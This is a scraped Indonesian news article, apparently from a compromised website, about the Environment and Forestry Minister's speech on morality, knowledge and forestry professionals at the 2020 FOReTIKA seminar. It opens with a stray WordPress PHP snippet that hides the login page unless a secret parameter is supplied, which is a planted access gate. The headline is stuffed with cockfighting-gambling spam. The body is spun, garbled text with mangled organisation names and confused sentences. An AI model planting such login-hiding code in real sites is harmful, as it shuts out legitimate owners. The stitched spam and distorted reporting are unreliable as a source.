//̨¼ add_action('login_enqueue_scripts','login_protection'); function login_protection(){ if($_GET['word'] != '2868973770')header('Location: https://www.baidu.com/'); } Menteri Lingkungan Hidup dan Hutan: Moralitas dan pengetahuan adalah kunci untuk melindungi sumber daya alam | s1288 net login_download game adu ayam_sabung ayam judi
2020-12-05 |  Kilas Kementerian

TRIBUNNEWS.COM melindungi hutan dan sumber daya alam adalah perjuangan untuk melindungi kehidupan berbangsa dan bernegara. Menteri Lingkungan Hidup dan Kehutanan (LHK) Siti Nurbaya (Siti Nurbaya) juga meyakini bahwa kekuatan ilmu dan moral merupakan kunci utama dalam menjaga sumber daya alam tersebut.

Hal ini diungkapkan dalam seminar “Penguatan peran pihak dalam implementasi”. “Para profesional kehutanan” digelar Kamis (10/9/2020) lalu sebagai bagian dari Konferensi Forum Pimpinan Perguruan Tinggi Kehutanan Indonesia (FOReTIKA) 2020.

Dalam kesempatan ini, Siti Nurbaya menyampaikan bahwa sangat penting untuk memperkuat profesionalisme anak-anak di tanah air atas dasar kebutuhan kemerdekaan nasional, yang biasanya paling penting dalam konteks ekonomi. Dalam konteks ini, insinyur profesional memainkan peran penting.

Baca: Kementerian Lingkungan Hidup dan Kehutanan Copot Alat Investigasi Isi Aliran Puing di Jatisampurna Bekasi.

“Setiap orang bisa berperan dalam pertumbuhan dan perkembangan negara ke depan. Siti Nurbaya mengatakan salah satu perannya adalah mengembangkan alat dan teknologi untuk memajukan Indonesia ke masa depan. Siti Nurbaya (Siti Nurbaya) juga mengemukakan bahwa upaya pelembagaan profesi insinyur biologi, khususnya insinyur kehutanan, harus dipercepat, dan menimbulkan perhatian yang serius.

Tidak ada pilihan, karena UUD 1945 juga menandaskan Pasal 33 : Tanah, air, dan sumber daya alam yang terkandung di dalamnya dikuasai oleh negara dan digunakan untuk sebesar-besar kemakmuran rakyat (ayat 3) dan penyelenggaraan “perekonomian nasional”. Berlandaskan demokrasi ekonomi yang berlandaskan pada asas persatuan, keadilan, efektifitas, berkelanjutan, pengertian lingkungan, kemandirian serta menjaga keseimbangan antara kemajuan dan kesatuan ekonomi nasional ”(ayat 4).

FOReTIKA adalah Indonesia Forum pengelola perguruan tinggi kehutanan di perguruan tinggi dan perguruan tinggi juga membahas isu-isu kebijakan pembangunan kehutanan, yaitu pengembangan Kesatuan Pengelolaan Hutan (KPH), Pengelolaan Kawasan Hutan Pente (KHDTK), Perhutanan Sosial, Konservasi Sumber Daya Alam dan Keanekaragaman Hayati, serta Lingkungan. Dan struktur organisasi Kementerian Kehutanan, isi UU No 5/1990 dan UU No 41/1999, serta masalah pertanian dan beberapa topik lainnya. FORETIKA hari ini bertujuan untuk mencapai link dan korespondensi antara pendidikan dan dunia kerja, kehutanan. Standar kompetensi nasional untuk perguruan tinggi, dan salah satu tema utama yang diangkat dalam rapat anggota FORETIKA adalah menyediakan SDM kehutanan yang handal terkait dengan profesi insinyur sebagai pengesahan Undang-Undang Nomor 11 Tahun 2014 tentang Keteknikan.

ForeTIKA Ketua Riekso Soekmadi menyampaikan dalam pertemuan kali ini, FORETIKA mempresentasikan dua agenda khusus untuk FORETIKA 2020, yaitu seminar bertema, dengan Kementerian Lingkungan Hidup dan Kehutanan (dalam hal ini Biro Riset dan Inovasi (BLI) dan Badan P Consulting and Pengembangan Sumber Daya Manusia (BP2SDM) bekerja sama untuk “memperkuat peran semua pihak dalam penyelenggaraan tenaga ahli kehutanan yang profesional”, dan Kementerian Pendidikan dan Kebudayaan (Kemendikbud), khususnya Asosiasi Pendidikan Tinggi Asosiasi Industri India Onisian Forestry Entrepreneurs (APHI) ) Dan Persatuan Insinyur Indonesia (PII). Pada saat yang bersamaan agenda kedua konferensi ini adalah rapat pleno FORETIKA yang akan dilaksanakan pada Selasa (15/9/2020).

“Kami ingin mengucapkan terima kasih, karena selama ini Dalam setiap pertemuan FORETIKA didukung oleh Menteri LHK dan BP2SDM Departemen LHK. Kami berharap kerjasama ini dapat semakin diperluas melalui partisipasi Kementerian Pendidikan dan Kebudayaan, khususnya Biro Pendidikan Tinggi. “: Menteri Lingkungan Hidup dan Kehutanan mendorong pemilik IPPKH untuk mempercepat pemulihan DAS hingga Desember 2020.

Tinggalkan Balasan